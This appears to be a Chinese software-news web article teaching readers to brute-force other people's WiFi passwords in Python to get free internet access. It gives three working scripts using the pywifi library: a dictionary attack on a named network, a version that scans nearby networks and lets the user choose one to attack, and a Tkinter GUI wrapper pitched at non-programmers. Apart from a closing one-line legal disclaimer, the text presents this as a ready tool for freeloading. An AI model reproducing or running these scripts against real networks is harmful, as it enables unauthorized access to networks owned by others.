百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

Python暴力破解WiFi密码,这个脚本让你轻松蹭网!

ninehua 2025-04-06 19:33 128 浏览

出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。

那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。

没有图形界面的简单爆破脚本

首先来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。

import pywifi
from pywifi import const
import time
import datetime


# 测试连接,返回连接结果
def wifiConnect(pwd):
  wifi = pywifi.PyWiFi()
  ifaces = wifi.interfaces()[0]
  ifaces.disconnect()
  time.sleep(1)
  wifistatus = ifaces.status()


  if wifistatus == const.IFACE_DISCONNECTED:
      profile = pywifi.Profile()
      profile.ssid = "Tr0e" # 需要破解的WiFi名称
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      ifaces.remove_all_network_profiles()
      tep_profile = ifaces.add_network_profile(profile)
      ifaces.connect(tep_profile)
      time.sleep(2)
       
      if ifaces.status() == const.IFACE_CONNECTED:
          return True
      else:
          return False
  else:
      print("已有WiFi连接")


# 读取密码本进行暴力破解
def readPassword():
  success = False
  print("********** 开始破解WiFi **********")
  path = "pwd.txt"
  file = open(path, "r")
  start = datetime.datetime.now()


  while True:
      try:
          pwd = file.readline().strip('\n')
          bool = wifiConnect(pwd)
          if bool:
              print(f"[*] 密码已破解:{pwd}")
              print("[*] WiFi已自动连接!")
              success = True
              break
          else:
              print(f"正在尝试密码:{pwd}")
      except:
          continue


  end = datetime.datetime.now()
  print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!")
  exit(0)


if __name__ == "__main__":
  readPassword()

这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。

优化脚本:扫描附近WiFi

为了让脚本更灵活,我们对其进行了改进,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。

import pywifi
import time
from pywifi import const


# WiFi扫描模块
def wifi_scan():
  wifi = pywifi.PyWiFi()
  interface = wifi.interfaces()[0]
  interface.scan()
  time.sleep(3)
  bss = interface.scan_results()


  wifi_name_list = []
  for w in bss:
      wifi_name_and_signal = (100 + w.signal, w.ssid)
      wifi_name_list.append(wifi_name_and_signal)
   
  wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True)


  print("扫描完成,找到以下WiFi:")
  for num, wifi in enumerate(wifi_name_list):
      print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}")


  return wifi_name_list


# WiFi破解模块
def wifi_password_crack(wifi_name):
  wifi_dic_path = input("请输入密码字典路径:")
  with open(wifi_dic_path, 'r') as f:
      for pwd in f:
          pwd = pwd.strip('\n')
          wifi = pywifi.PyWiFi()
          interface = wifi.interfaces()[0]
          interface.disconnect()
          time.sleep(1)
          profile = pywifi.Profile()
          profile.ssid = wifi_name
          profile.auth = const.AUTH_ALG_OPEN
          profile.akm.append(const.AKM_TYPE_WPA2PSK)
          profile.cipher = const.CIPHER_TYPE_CCMP
          profile.key = pwd
          interface.remove_all_network_profiles()
          tmp_profile = interface.add_network_profile(profile)
          interface.connect(tmp_profile)


          time.sleep(2)
          if interface.status() == const.IFACE_CONNECTED:
              print(f"成功破解,密码为:{pwd}")
              exit(0)
          else:
              print(f"尝试密码 {pwd} 失败。")


# 主函数
def main():
  wifi_list = wifi_scan()
  wifi_index = int(input("请选择想要破解的WiFi编号:"))
  wifi_password_crack(wifi_list[wifi_index][1])


if __name__ == '__main__':
  main()

该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。

提升用户体验:图形化界面

为了让工具更方便使用,我们可以进一步改进,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。

from tkinter import *
import pywifi
from pywifi import const
import time


def readPwd():
  wifi_name = entry.get().strip()
  path = './pwd.txt'
  file = open(path, 'r')


  while True:
      pwd = file.readline().strip()
      if not pwd:
          break
      wifi = pywifi.PyWiFi()
      iface = wifi.interfaces()[0]
      iface.disconnect()
      time.sleep(1)
      profile = pywifi.Profile()
      profile.ssid = wifi_name
      profile.auth = const.AUTH_ALG_OPEN
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      profile.cipher = const.CIPHER_TYPE_CCMP
      profile.key = pwd
      iface.remove_all_network_profiles()
      tmp_profile = iface.add_network_profile(profile)
      iface.connect(tmp_profile)
      time.sleep(2)


      if iface.status() == const.IFACE_CONNECTED:
          text.insert(END, f'密码正确:{pwd}\n')
          break
      else:
          text.insert(END, f'尝试密码:{pwd} 失败\n')
      text.see(END)
      text.update()


root = Tk()
root.title("WiFi破解")
root.geometry("500x400")


Label(root, text="输入WiFi名称:").grid()
entry = Entry(root, font=("微软雅黑", 14))
entry.grid(row=0, column=1)


text = Listbox(root, font=("微软雅黑", 14), width=40, height=10)
text.grid(row=1, columnspan=2)


Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2)


root.mainloop()

这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。

总结

通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜欢简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。

当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!

相关推荐

Windows 历代系统大合集,你用过几个

WINDOWS1.0(1985),第1代windows系统,感觉界面还不错。WINDOWS2.0(1987)。2代windows系统。感觉和一代相似度很高。WINDOWS98(1998)...

《英雄连2:完整合集》上架微软商城 登陆Windows 10、不支持中文

《英雄连2:完整合集(CompanyofHeroes2:CompleteCollection)》近日上架了微软商城,将于9月17日发售,登陆PC(Win10商城),不支持中文。《英雄连2:完整...

微软为 Android 用户打造了全家桶,一次推荐 80 多款 App

近日微软推出了一款名为MicrosoftApps的Android平台应用程序,这款程序并没有什么新的服务或功能,而是一个包括所有微软出品App的合辑,用户可以方便快捷地找到微软各种Ap...

微软愚人节大合集:MS-DOS移动、喵星人版Office

IT之家讯在2015年愚人节到临之际,微软发起一系列恶搞活动,包括新推出的MS-DOS移动系统和Surface智能手表,然而并不是所有的公司都庆祝愚人节。下面是微软愚人节专辑一起来看看吧。MS-DO...

老电脑救星!Win7系统DLL丢失修复方案

老电脑救星!Windows7系统DLL丢失一键修复方案老旧电脑升级困难,只能坚守Windows7?但安装后软件频繁报错“DLL丢失”,实在让人头疼!别担心,解决这类问题通常只需两步走,简单高效!在动...

Windows11 IoT LTSC 2024 26100.4202 2in1 小修精简版 esd

特点描述小修Windows11LTSC2024精简版(小修精简Win11ltsc2024系统)小修Windows11IoTLTSC202426100.2314极限精简版[1.53G...

程序运行时缺少visual c++报错 微软常用运行库合集 2022.6.21

从网络下载的一些软件,在安装或者运行的时候,有许多的报错是,"MicrosoftVisualC++Runtime",这种错误提示是由于应用程序运行所需的VisualC++...

Microsoft.NET离线运行库合集发布 2021

软件介绍.NET是微软具有战略意义的框架,也是装机必不可少的框架,想要一个一个安装略显繁琐,再加上很多电脑小白不知道怎么下载,不小心就下载到某某高速加载器,这个运行库极大解决了这个问题,采用微软官方....

养猪和鸡鸭鹅、兔子,菊苣可以作主食,可连续利用5-8年,成本低

养猪和鸡鸭鹅和兔子到底用什么牧草好呢?这个问题是很多养殖户朋友们想要了解的,那么,今天种子帮就给大家介绍一种,猪和鸡鸭鹅和兔子都比较爱吃的牧草,它就是菊苣。菊苣是属于菊科多年生作物,其多种优势备受养殖...

给兔喂草增加兔子肠胃蠕动#喂兔子

现在中午的时候准备给兔子加点小零食,直接在前院这边薅点草。这个草长得也是蛮长的了,直接薅掉喂兔子。像这种草兔子是特别爱吃的,但是现在为什么基本上不喂草了?因为现在很多地方像这种草已经没有了,但是我家门...

二年级看图写话范文—小白兔种菜(二年级看图写话小白兔种菜100字)

图中发生了什么事?小白兔在做什么呢?看图,想一想,写下来。例文1、勤劳的小白兔一、早晨,太阳公公起来了,阳光明媚。一只小兔很早就起床了,拿着锄头,来到田地里,开始锄地。到中午的时候,天气很热,小兔满头...

真刑,又有博主采挖“青藏雪莲花”!5-7年开花一次,开完就死亡

先是有网红“提子”为搏眼球,非法水煮和烧烤国家二级保护动物“噬人鲨”。现如今又出了一个主播非法采挖国家二级保护植物“水母雪兔子”,一名主播在短视频平台上发布了一段视频,视频中主播正在展示自己发现了一株...

每天认识一种植物:火星兔子(火星兔子app现状)

每天认识一种植物,让生活增添一点乐趣。今天要带大家认识的是——火星兔子。火星兔子是景天科青锁龙属多肉植物,植株群生,肉质叶呈莲座状排列,叶色灰绿,如果光照强烈则为绿褐色或红褐色,叶表有凸起的白色疣突,...

大姐用它养兔子草质鲜嫩,适口性好,种一次可利用6-7年

大姐养兔子种子几亩地的它,叶片多维生素含量高,低蛋白可以做兔子的主草,又可促进兔子的肠胃蠕动,而且兔子吃了也不会拉稀。那么今天就为大家介绍一下大姐到底种的是什么草?提摩西又叫猫尾草,梯牧草,禾本科多年...

小说:捡到会说话的兔子,还有一颗能给兔子安全感的蛋?

等叶古香回到家,已经准备做饭菜了,曾氏看闺女把猪大肠洗得确实干净,闻了闻,没有味道,也不再管她。叶静香知道这个堂妹竟然要吃猪大肠,嫌弃得很,厨房也不进,直接回房。因为她和唐氏做绣活,也不需要她做饭。不...